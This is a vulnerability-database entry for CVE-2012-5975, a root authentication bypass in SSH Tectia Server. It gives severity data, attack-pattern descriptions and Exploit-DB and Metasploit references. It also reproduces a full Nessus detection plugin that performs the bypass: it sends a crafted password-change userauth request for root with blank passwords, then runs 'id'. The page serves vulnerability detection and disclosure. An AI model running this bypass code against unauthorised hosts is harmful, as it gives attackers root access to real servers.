Vulnerabilities > CVE-2012-5975 - Improper Authentication vulnerability in SSH Tectia Server

047910
CVSS 9.3 - CRITICAL
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
ssh
linux
CWE-287
critical
nessus
exploit available
metasploit

Summary

The SSH USERAUTH CHANGE REQUEST feature in SSH Tectia Server 6.0.4 through 6.0.20, 6.1.0 through 6.1.12, 6.2.0 through 6.2.5, and 6.3.0 through 6.3.2 on UNIX and Linux, when old-style password authentication is enabled, allows remote attackers to bypass authentication via a crafted session involving entry of blank passwords, as demonstrated by a root login session from a modified OpenSSH client with an added input_userauth_passwd_changereq call in sshconnect2.c.

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Authentication Abuse
    An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Utilizing REST's Trust in the System Resource to Register Man in the Middle
    This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.
  • Man in the Middle Attack
    This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.

Exploit-Db

  • descriptionSSH.com Communications SSH Tectia Authentication Bypass Remote Exploit (0day). CVE-2012-5975. Remote exploit for linux platform
    fileexploits/linux/remote/23082.txt
    idEDB-ID:23082
    last seen2016-02-02
    modified2012-12-02
    platformlinux
    port
    published2012-12-02
    reporterkingcope
    sourcehttps://www.exploit-db.com/download/23082/
    titleSSH.com Communications SSH Tectia Authentication Bypass Remote Exploit 0day
    typeremote
  • descriptionTectia SSH USERAUTH Change Request Password Reset Vulnerability. CVE-2012-5975. Remote exploit for unix platform
    idEDB-ID:23156
    last seen2016-02-02
    modified2012-12-05
    published2012-12-05
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/23156/
    titleTectia SSH USERAUTH Change Request Password Reset Vulnerability

Metasploit

descriptionThis module exploits a vulnerability in Tectia SSH server for Unix-based platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request before password authentication, allowing any remote user to bypass the login routine, and then gain access as root.
idMSF:EXPLOIT/UNIX/SSH/TECTIA_PASSWD_CHANGEREQ
last seen2020-06-04
modified2018-09-15
published2012-12-04
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/ssh/tectia_passwd_changereq.rb
titleTectia SSH USERAUTH Change Request Password Reset Vulnerability

Nessus

NASL familyGain a shell remotely
NASL idSSH_TECTIA_SERVER_AUTH_BYPASS.NASL
descriptionThe version of Tectia SSH Server running on the remote host is affected by an authentication bypass vulnerability. A remote, unauthenticated attacker can bypass authentication by sending a specially crafted request, allowing the attacker to authenticate as root. The software is only vulnerable when running on Unix or Unix-like operating systems.
last seen2020-06-01
modified2020-06-02
plugin id63156
published2012-12-05
reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/63156
titleTectia SSH Server Authentication Bypass
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(63156);
  script_version("1.16");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2012-5975");
  script_bugtraq_id(56783);
  script_xref(name:"EDB-ID", value:"23082");

  script_name(english:"Tectia SSH Server Authentication Bypass");
  script_summary(english:"Tries to bypass auth and run a command");

  script_set_attribute(attribute:"synopsis", value:
"An SSH server running on the remote host is affected by an
authentication bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Tectia SSH Server running on the remote host is
affected by an authentication bypass vulnerability.  A remote,
unauthenticated attacker can bypass authentication by sending a
specially crafted request, allowing the attacker to authenticate as
root. 

The software is only vulnerable when running on Unix or Unix-like
operating systems.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2012/Dec/12");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2012/Dec/64");
  # http://answers.tectia.com/questions/2178/can-i-have-info-about-ssh-remote-bypass-vulnerability
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?7b7686fa");
  script_set_attribute(attribute:"solution", value:
"Disable password authentication in the ssh-server-config.xml
configuration file (this file needs to be created if it does not
already exist).  Refer to the vendor's advisory for more information.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-5975");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Tectia SSH USERAUTH Change Request Password Reset Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/12/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/05");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:ssh:tectia_server");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Gain a shell remotely");

  script_copyright(english:"This script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_detect.nasl", "os_fingerprint.nasl");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/ssh", 22);

  exit(0);
}

include('audit.inc');
include('global_settings.inc');
include('misc_func.inc');
include('ssh_func.inc');
include("data_protection.inc");

checking_default_account_dont_report = TRUE;

disable_ssh_wrappers();
user = 'root';

# Unless paranoid, before making any requests, make sure
# the host is not running Windows (reportedly not affected)...
if (report_paranoia < 2 && os = get_kb_item('Host/OS'))
{
  if ('Windows' >< os)
    audit(AUDIT_HOST_NOT, 'Unix/Linux');
}

port = get_service(svc:'ssh', default:22, exit_on_fail:TRUE);

# ...and make sure the SSH service looks like ssh tectia server
if (report_paranoia < 2 && banner = get_kb_item("SSH/banner/" + port))
{
  if ('SSH Tectia Server' >!< banner)
    audit(AUDIT_NOT_LISTEN, 'Tectia SSH Server', port);
}
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

# the workaround is to disable password auth. if it's not advertised,
# there's no point in attempting the exploit
authtypes = get_kb_item('SSH/supportedauth/' + port);
if (!isnull(authtypes))
{
  password_auth = FALSE;

  foreach authtype (split(authtypes, sep:',', keep:FALSE))
  {
    if (authtype == 'password')
      password_auth = TRUE;
  }

  if (!password_auth)
    audit(AUDIT_LISTEN_NOT_VULN, 'SSH', port);
}

if (!get_port_state(port))
  audit(AUDIT_PORT_CLOSED, port);

_ssh_socket = open_sock_tcp(port);
if (!_ssh_socket)
  audit(AUDIT_SOCK_FAIL, port);

# initialization
init();
server_version = ssh_exchange_identification();
if (!server_version)
  audit(AUDIT_FN_FAIL, 'ssh_exchange_identification');

_ssh_server_version = server_version;

# key exchange
ret = ssh_kex2(server_version:server_version, nofingerprint:TRUE);
if (ret != 0)
  audit(AUDIT_FN_FAIL, 'ssh_kex2');

payload = putstring(buffer:"ssh-userauth");
send_ssh_packet(payload:payload, code:raw_string(0x05));

payload = recv_ssh_packet();
if (ord(payload[0]) != 6)
  audit(AUDIT_RESP_BAD, port, 'SSH2_MSG_SERVICE_REQUEST');

# SSH_MSG_USERAUTH_REQUEST
# http://www.ietf.org/rfc/rfc4252.txt page 10
payload =
  putstring(buffer:user) +
  putstring(buffer:"ssh-connection") +
  putstring(buffer:"password") +
  raw_int8(i:1) +
  putstring(buffer:'') +
  putstring(buffer:'');
send_ssh_packet(payload:payload, code:raw_int8(i:50));

# a response of SSH_MSG_USERAUTH_SUCCESS indicates authentication succeeded.
# otherwise, the system probably isn't vulnerable
payload = recv_ssh_packet();
if (ord(payload[0]) != 52)
  audit(AUDIT_LISTEN_NOT_VULN, 'SSH', port);

output = ssh_cmd(cmd:'id', nosh:TRUE, nosudo:TRUE);
if ('uid=' >!< output)
  audit(AUDIT_RESP_BAD, port, 'id');

if (report_verbosity > 0)
{
  report = '\nNessus bypassed authentication and executed "id", which returned :\n\n' + 
    data_protection::sanitize_uid(output:output);
  security_hole(port:port, extra:report);
}
else security_hole(port);